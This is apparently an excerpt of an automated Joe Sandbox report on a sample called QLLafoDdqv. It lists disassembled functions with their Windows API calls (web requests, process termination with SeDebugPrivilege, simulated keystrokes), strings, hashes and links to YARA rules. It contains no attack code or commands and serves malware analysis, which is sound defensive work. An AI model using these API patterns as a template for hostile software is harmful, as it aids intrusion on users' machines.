Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 8bc8d425edd1d41f61a2257762b6e352dcb323e8b8c58ef0a1e890fa13140902
Instruction ID: 7220ce584162416e83be6269efb496293819f43cae6a7950a89e792d5cb05483
Opcode Fuzzy Hash: 8bc8d425edd1d41f61a2257762b6e352dcb323e8b8c58ef0a1e890fa13140902
Instruction Fuzzy Hash: FE317C75500308BFEB119F64DC49B7FBBAABB92311F10C115FA06DA192D7BC9A408F68

Function 00702C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00702C94

Part of subcall function 007029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000), ref: 007029DE
Part of subcall function 007029C8: GetLastError.KERNEL32(00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000,00000000), ref: 007029F0

_free.LIBCMT ref: 00702CA0
_free.LIBCMT ref: 00702CAB
_free.LIBCMT ref: 00702CB6
_free.LIBCMT ref: 00702CC1
_free.LIBCMT ref: 00702CCC
_free.LIBCMT ref: 00702CD7
_free.LIBCMT ref: 00702CE2
_free.LIBCMT ref: 00702CED
_free.LIBCMT ref: 00702CFB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6935c87624f14a5b7efff48327b01aa265184bce4f8e246b693c8540741c1431
Instruction ID: 43a0959efaac3c4b7e5f12627f2c72cc55203aa6845d242f33339e1b85032b3b
Opcode Fuzzy Hash: 6935c87624f14a5b7efff48327b01aa265184bce4f8e246b693c8540741c1431
Instruction Fuzzy Hash: 00119676110108EFCB02EF54D84ACDD3BA9FF05350F6146A5F9486B272D635FA519F90

Function 006D1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 006D1459
OleUninitialize.OLE32(?,00000000), ref: 006D14F8
UnregisterHotKey.USER32(?), ref: 006D16DD
DestroyWindow.USER32(?), ref: 007124B9
FreeLibrary.KERNEL32(?), ref: 0071251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0071254B

Strings

close all, xrefs: 006D1454

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: f8023f493b59dfed156aba84ac7d78b95ed47f13adcee9215d66654ff7f8af9c
Instruction ID: c17395baa87b00ac904a9ad7e1a1b948bdfc85369b5e74a749bd6d1861ab054b
Opcode Fuzzy Hash: f8023f493b59dfed156aba84ac7d78b95ed47f13adcee9215d66654ff7f8af9c
Instruction Fuzzy Hash: 4FD16D31B01212DFCB19EF19C495A69F7A2BF05700F1441AEE84A6B3A2DB74AD63CF54

Function 006D5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 006D5C7A

Part of subcall function 006D5D0A: GetClientRect.USER32(?,?), ref: 006D5D30
Part of subcall function 006D5D0A: GetWindowRect.USER32(?,?), ref: 006D5D71
Part of subcall function 006D5D0A: ScreenToClient.USER32(?,?), ref: 006D5D99

GetDC.USER32 ref: 007146F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00714708
SelectObject.GDI32(00000000,00000000), ref: 00714716
SelectObject.GDI32(00000000,00000000), ref: 0071472B
ReleaseDC.USER32(?,00000000), ref: 00714733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 007147C4

Strings

U, xrefs: 00714693

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: bd4fbbfd26edb954e1b415a4186b5d3f5323206b42ef5421f56b6b6277849dca
Instruction ID: c93a29ae5c24e2397aebaa55694c1800c22f43e1d9e75eaa266f2639d9a167bf
Opcode Fuzzy Hash: bd4fbbfd26edb954e1b415a4186b5d3f5323206b42ef5421f56b6b6277849dca
Instruction Fuzzy Hash: A371E131900205DFCF218F68C984AFA3BB6FF4A365F14426AED565A2E6C7399C81DF50

Function 0074359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 007435E4

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

LoadStringW.USER32(007A2390,?,00000FFF,?), ref: 0074360A

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00743724
"%s" (%d) : ==> %s:, xrefs: 00743742
Line %d (File "%s"):, xrefs: 0074366B
^ ERROR, xrefs: 007436C9
Error: , xrefs: 007436EF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: ff30329075effff287e0f063cac1a140231ec31b7f70b66b10eaf0dfd9c83950
Instruction ID: c37b5d2820cea2601d1c3ef607c6a45cb201f7257c41707420e4e929b4182f98
Opcode Fuzzy Hash: ff30329075effff287e0f063cac1a140231ec31b7f70b66b10eaf0dfd9c83950
Instruction Fuzzy Hash: C1517171D00259BADF15EBA0DC46EEDBB39AF04300F14412AF505722A1DB751B98DFA5

Function 0074C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0074C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0074C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0074C2CA
GetLastError.KERNEL32 ref: 0074C322
SetEvent.KERNEL32(?), ref: 0074C336
InternetCloseHandle.WININET(00000000), ref: 0074C341

Strings

, xrefs: 0074C2BB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 0c5acad495dd7ddf09b2099c0a44ef209630204c09c445ec2434493035c1d27e
Instruction ID: b6dc6416ff79f7a39856ffcb307c316dc0c164a0353473d73fd3f198d18aef88
Opcode Fuzzy Hash: 0c5acad495dd7ddf09b2099c0a44ef209630204c09c445ec2434493035c1d27e
Instruction Fuzzy Hash: 49317CB1601308AFD7629FA5CC88ABB7BFCEB49744F14851EF486D2210DB78DD049B65

Function 0073989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00713AAF,?,?,Bad directive syntax error,0076CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 007398BC
LoadStringW.USER32(00000000,?,00713AAF,?), ref: 007398C3

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00739987

Strings

Line %d (File "%s"):, xrefs: 0073992D
Line %d:, xrefs: 00739912
Error: , xrefs: 00739955
%s (%d) : ==> %s.: %s %s, xrefs: 007398F1
., xrefs: 0073996D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: a9e269a17ab2d6e4b35a7943a4fb53368661db7443857effa26837f5dc1a28be
Instruction ID: 7928cdc2cf152a5156d6d48401b141ff6506439a16a4085b603d4843ce78d35e
Opcode Fuzzy Hash: a9e269a17ab2d6e4b35a7943a4fb53368661db7443857effa26837f5dc1a28be
Instruction Fuzzy Hash: D521B471D0025EEBDF15AF90CC06EED7736FF18300F04441AF515661A2DB79A628DB25

Function 0073209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 007320AB
GetClassNameW.USER32(00000000,?,00000100), ref: 007320C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0073214D

Strings

smallicons, xrefs: 00732115
largeicons, xrefs: 007320E1
details, xrefs: 007320FB
SHELLDLL_DefView, xrefs: 007320CC
list, xrefs: 0073212F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: f107ac6b18a28d8a41e2f7b7e177f5c65d3bf0f582e46efe92c045a524f06f60
Instruction ID: 8dfd014febe5f36b1f5b6f436b1fbff5c0959fcdb5cac0f76a40a8e2bfdff386
Opcode Fuzzy Hash: f107ac6b18a28d8a41e2f7b7e177f5c65d3bf0f582e46efe92c045a524f06f60
Instruction Fuzzy Hash: 8A11E3B668871EB9FA022224ED06DB7379CCB04324F20015AFB05A50E7FEA969035618

Function 0070CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0070CEB7
_free.LIBCMT ref: 0070CF22
_free.LIBCMT ref: 0070CF48
_free.LIBCMT ref: 0070CF71
_free.LIBCMT ref: 0070CFA9
_free.LIBCMT ref: 0070CFDA
_free.LIBCMT ref: 0070D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0070D09C
_free.LIBCMT ref: 0070D0B5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 98eaf1aa8db762972f091f95f26b90050fa767fb2b08d1bb0985a8c7704c0b8d
Instruction ID: 2fc5c6819e06a99f8a3af5397176a69a7ca00f161ca8030ff2e4312c7df0eaa8
Opcode Fuzzy Hash: 98eaf1aa8db762972f091f95f26b90050fa767fb2b08d1bb0985a8c7704c0b8d
Instruction Fuzzy Hash: 78614973A04302EFDB22AFB4D88966E7BE5AF05310F14476DF945A72C2D63DAD018791

Function 007650D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00765186
ShowWindow.USER32(?,00000000), ref: 007651C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 007651CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 007651D1

Part of subcall function 00766FBA: DeleteObject.GDI32(00000000), ref: 00766FE6

GetWindowLongW.USER32(?,000000F0), ref: 0076520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0076521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0076524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00765287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00765296

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 623fea6e7e9f8b648037a5c459cf90159b9ed8ee681cd02ee3d60994a4558418
Instruction ID: 8bdb8b99762e30df70c46ed8709839f7201a762aca9e505ea10b152bf054ec04
Opcode Fuzzy Hash: 623fea6e7e9f8b648037a5c459cf90159b9ed8ee681cd02ee3d60994a4558418
Instruction Fuzzy Hash: 0A519270A41A08FEEF249F28CC59BD93B65FB06321F148111FD17962E0C3BDA990EB55

Function 006E8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00726890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 007268A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 007268B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 007268D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 007268F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,006E8874,00000000,00000000,00000000,000000FF,00000000), ref: 00726901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0072691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,006E8874,00000000,00000000,00000000,000000FF,00000000), ref: 0072692D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: d6b9c59ff612a45e63d3e0f52d23b6f980a4598fa293e220072b0de570e12e60
Instruction ID: a5536db9ac273d6ff36c92aff29d4a13d05fd7370b0bb7d3c9081560d95670b3
Opcode Fuzzy Hash: d6b9c59ff612a45e63d3e0f52d23b6f980a4598fa293e220072b0de570e12e60
Instruction Fuzzy Hash: BE51A870600349EFDB20CF25CC95BAA7BB6EF88350F108519F946972A0DBB8E991DB50

Function 0074C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0074C182
GetLastError.KERNEL32 ref: 0074C195
SetEvent.KERNEL32(?), ref: 0074C1A9

Part of subcall function 0074C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0074C272
Part of subcall function 0074C253: GetLastError.KERNEL32 ref: 0074C322
Part of subcall function 0074C253: SetEvent.KERNEL32(?), ref: 0074C336
Part of subcall function 0074C253: InternetCloseHandle.WININET(00000000), ref: 0074C341

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 0680e363e104d739e0b94aee18874776dc03688f1318fa73f1858981511b0b0e
Instruction ID: 98ef851e4a431c5ce2d4ef5473934a91c362f7f8047d6e0182cb193791330184
Opcode Fuzzy Hash: 0680e363e104d739e0b94aee18874776dc03688f1318fa73f1858981511b0b0e
Instruction Fuzzy Hash: DD31AF71202745EFDB629FB5DC04A76BBF8FF18300B04842DF99686620D7B9E8149B60

Function 007325A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00733A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00733A57
Part of subcall function 00733A3D: GetCurrentThreadId.KERNEL32 ref: 00733A5E
Part of subcall function 00733A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,007325B3), ref: 00733A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 007325BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 007325DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 007325DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 007325E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00732601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00732605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0073260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00732623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00732627

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: e9c4d3b46787181fda0e4f9fc104202ad761656a1e39a24fe3e88b9f6e2d7599
Instruction ID: 58749824395ef0a3cd213885e9637fcb0f503eef39c5a056950e5e8f64cbda7a
Opcode Fuzzy Hash: e9c4d3b46787181fda0e4f9fc104202ad761656a1e39a24fe3e88b9f6e2d7599
Instruction Fuzzy Hash: 0901B170390314BBFB206768DC8FF693E59DB4AB12F104041F359AE0E2C9EA28458A6D

Function 00731803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00731449,?,?,00000000), ref: 0073180C
HeapAlloc.KERNEL32(00000000,?,00731449,?,?,00000000), ref: 00731813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00731449,?,?,00000000), ref: 00731828
GetCurrentProcess.KERNEL32(?,00000000,?,00731449,?,?,00000000), ref: 00731830
DuplicateHandle.KERNEL32(00000000,?,00731449,?,?,00000000), ref: 00731833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00731449,?,?,00000000), ref: 00731843
GetCurrentProcess.KERNEL32(00731449,00000000,?,00731449,?,?,00000000), ref: 0073184B
DuplicateHandle.KERNEL32(00000000,?,00731449,?,?,00000000), ref: 0073184E
CreateThread.KERNEL32(00000000,00000000,00731874,00000000,00000000,00000000), ref: 00731868

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: bba34851ef44c44349ff529f565cf02bcadf1eb55fc13f5368194b4992b6db62
Instruction ID: 7af4586682d79fdd02922e4202f9aea89e0a75d119d406d5ee64f6d68ef4e480
Opcode Fuzzy Hash: bba34851ef44c44349ff529f565cf02bcadf1eb55fc13f5368194b4992b6db62
Instruction Fuzzy Hash: DE01BFB5240348BFE711AB65DC4EF673B6CEB8AB11F418411FA45DB191C6B59C00CB34

Function 0075A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0073D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0073D501
Part of subcall function 0073D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0073D50F
Part of subcall function 0073D4DC: CloseHandle.KERNEL32(00000000), ref: 0073D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0075A16D
GetLastError.KERNEL32 ref: 0075A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0075A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0075A268
GetLastError.KERNEL32(00000000), ref: 0075A273
CloseHandle.KERNEL32(00000000), ref: 0075A2C4

Strings

SeDebugPrivilege, xrefs: 0075A18F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: a113764b83badd6d8d7ccc8dffd7bd66d3a5f4dd373e8a4efb2b348a3950ccb6
Instruction ID: 2d5076510f2ac23343b7d3232febcbdc6b508e1886fbf137faa63d9ed84abe1f
Opcode Fuzzy Hash: a113764b83badd6d8d7ccc8dffd7bd66d3a5f4dd373e8a4efb2b348a3950ccb6
Instruction Fuzzy Hash: E761B171204242AFD710DF19C495F65BBE1BF84318F14859CE8568B7A3C7BAEC49CB92

Function 00763886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00763925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0076393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00763954
_wcslen.LIBCMT ref: 00763999
SendMessageW.USER32(?,00001057,00000000,?), ref: 007639C6
